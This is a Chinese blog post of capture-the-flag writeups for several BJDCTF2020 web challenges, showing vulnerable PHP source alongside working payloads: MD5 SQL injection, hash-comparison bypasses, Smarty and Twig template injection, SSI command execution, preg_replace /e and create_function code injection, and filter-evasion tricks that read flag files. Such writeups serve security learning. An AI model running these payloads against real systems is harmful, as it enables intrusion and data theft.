本篇博客主要记录了BGDCTF2020部分题目的writeup!

web

Easy MD5

打开题目,在http响应头里找到hint

很熟悉,第一时间的我没有想到,之前做过,哎!https://www.moonback.xyz/2019/10/05/jarvisoj-web-wp/#Login

直接提交ffifdyop就行,原因:

md5()函数有两个参数

参数一是要加密的字符串;

参数二是输出格式:为true时,表示输出原始16字符二进制格式;默认为false,表示输出32字符十六进制数。

字符串ffifdyopMD5加密后再转换成字符串为'or'6<乱码>,拼接后的语句为:select * from admin where password=''or'6<乱码>' ,就相当于select * from admin where password=''or 1 ,实现sql注入

然后跳转到另一个网页,查看源代码

1
2
3
a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b))

两种方式:

1
2
3
levels91.php?a[]=1&b[]=		//数组烧过

levels91.php?a=QNKCDZO&b=s878926199a //md5弱比较

然后又跳转到另外一个网页

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

还是两种方式:

1
2
3
4
5
POST:
param1[]=&param2[]=1 //数组绕过

bp抓包POST:
param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

Mark loves

dirsearch扫出来git源码泄露,恢复出来,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}

echo "the flag is: ".$flag;

php可变变量,仔细分析一下,发现可以构造下面的payload:

1
2
3
4
5
?handsome=flag&flag=handsome	
//这样的话,经过第二个foreach循环,$handsome就会等于$flag,$flag等于$handsome会不变,经过第三个循环第一次遍历$_GET['flag']="handsome"=$x="handsome"!='flag',退出输出$handsome即$flag的值

?yds=flag
//这样的话,在经过第二个foreach循环时,$yds就会等于$flag,在经过第三个foreach循环时,没传flag直接跳过,然后if满足条件,退出输出$yds即$flag

The mystery of ip

真想不到是SSTI,查看发现XFF可控,smarty模板注入payload:

1
X-Forwarded-For: {{system("cat /flag")}}

ZJCTF,不过如此

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>

next.php

1
2
?text=php://input&file=php://filter/convert.base64-encode/resource=next.php
POST: I have a dream

得到:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}

读flag,具体参见:

1
?\S*=${getFlag()}&cmd=system("cat /flag");

EasySearch

扫路径发现index.php.swp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

可以看到我们只需要控制password的MD5值前六位为6d0bc1就可以成功写入一个.shtml文件,内容里有username的值,但发现文件名不可控,后来在响应头里看到了文件路径

username写上一句话发现没能解析,后来了解到如果目标Apache服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用下面语法执行任意命令:

1
<!--#exec cmd="id" -->

怎样开启具体参见:https://www.zhangfangzhou.cn/apache-ssi-configuration.html

可以构造如下payload:

最终,在网站目录发现flag

登陆之后发现Cookie里多了user,同样是SSTI,这个是twig模板,payload:

1
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

EzPHP

查看源代码,发现GFXEIM3YFZYGQ4A=,base32解码得1nD3x.php,访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

这道题考的知识点比较多,分开记一下

$_SERVER[‘QUERY_STRING’]匹配绕过

$_SERVER['QUERY_STRING']返回url中查询的字符串,与此类似的还有:

  • $_SERVER['REQUEST_URI']返回访问此页面所需的URI
  • $_SERVER['SCRIPT_NAME']返回包含当前脚本的路径
  • $_SERVER['PHP_SELF']当前正在执行脚本的文件名

举个例子:(浏览器自动将file的url编码解码了)

可以看到,$_SERVER['QUERY_STRING']$_SERVER['REQUEST_URI']在传输时不会url解码,而$_GET,$_POST会url解码,因此我们可以url编码绕过下面代码:

1
2
3
4
5
if($_SERVER) { 
if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

字符串匹配绕过

1
2
3
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
echo "Neeeeee! Good Job!<br>";
}

由于没有/s修饰符用来在匹配时匹配换行符,我们可以使用%0a换行污染绕过

$_REQUEST字母匹配绕过

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

之前的参数都是GET型的,而POST的优先级比GET的要高,因此我们可以POST同样名称满足条件的值,比如数字,

数组类型的数据不需要POST,preg_match()只能匹配字符串,数组得以绕过

file_get_contents比对绕过

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

刚开始想的是php://input,后来发现要POST数据,因此便不能用了,这里可以用data://,示例:

1
2
data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

sha1比较绕过

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

直接数组绕过,或者sha1碰撞

extract变量覆盖

因为extract()函数使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量,所以这里我们可以传数组,即flag[code]flag[arg]的形式

create_function代码注入

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

最后一个过滤我们可以用create_function()绕过:

1
2
<?php
$myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST[1]);\\');

执行时相当于:

1
2
3
4
function myFunc($a, $b){
return $a+$b;
}
eval($_POST[1]);//}

payload

先看下所有变量:

1
2
3
1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}var_dump(get_defined_vars());//

POST: debu=1&passwd=1&file=1

读源码:

1
2
3
1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

POST: debu=1&passwd=1&file=1

这里用的是取反绕过,脚本:

1
2
3
4
5
6
7
8
<?php
$a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = 1 f l a g . p h p";
$arr1 = explode(' ', $a);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")<br>";

有点难顶,出题师傅太强了,脑瓜子嗡嗡的~

非预期解define+fopen()+fgets()

没ban掉fopen(),可以fgets()读取文件,但是这个文件指针需要移动就不能读取完整文件,$被禁无法定义变量,最后测试无果后交给shana师傅,被shana师傅整出来了(ttttql),用常量,Payload:

1
define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);

非预期解数组操作

加了个参数,传上去伪协议,然后get_defined_vars()数组获取到这个伪协议放到require()里包含,payload:

1
2
3
4
?deb%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&rce=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%72%65%61%31%66%6c%34%67%2e%70%68%70&rce2=r&sha%6e%61[]=a&pa%73sw%64[]=b&fla%67[co%64e]=create_function&fla%67[ar%67]=;}require(get_defined_vars()[_GET][rce]);%0a//
解码后:?debu=aqua_is_cute
&file=data:,debu_debu_aqua&rce=php://filter/read=convert.base64-encode/resource=rea1fl4g.php&rce2=r&shana[]=a&passwd[]=b&flag[code]=create_function&flag[arg]=;}require(get_defined_vars()[_GET][rce]);
//

参考:

https://www.gem-love.com/websecurity/770.html

http://www.gtfly.top/2020/01/30/BJDCTF2020-EzPHP.html

评论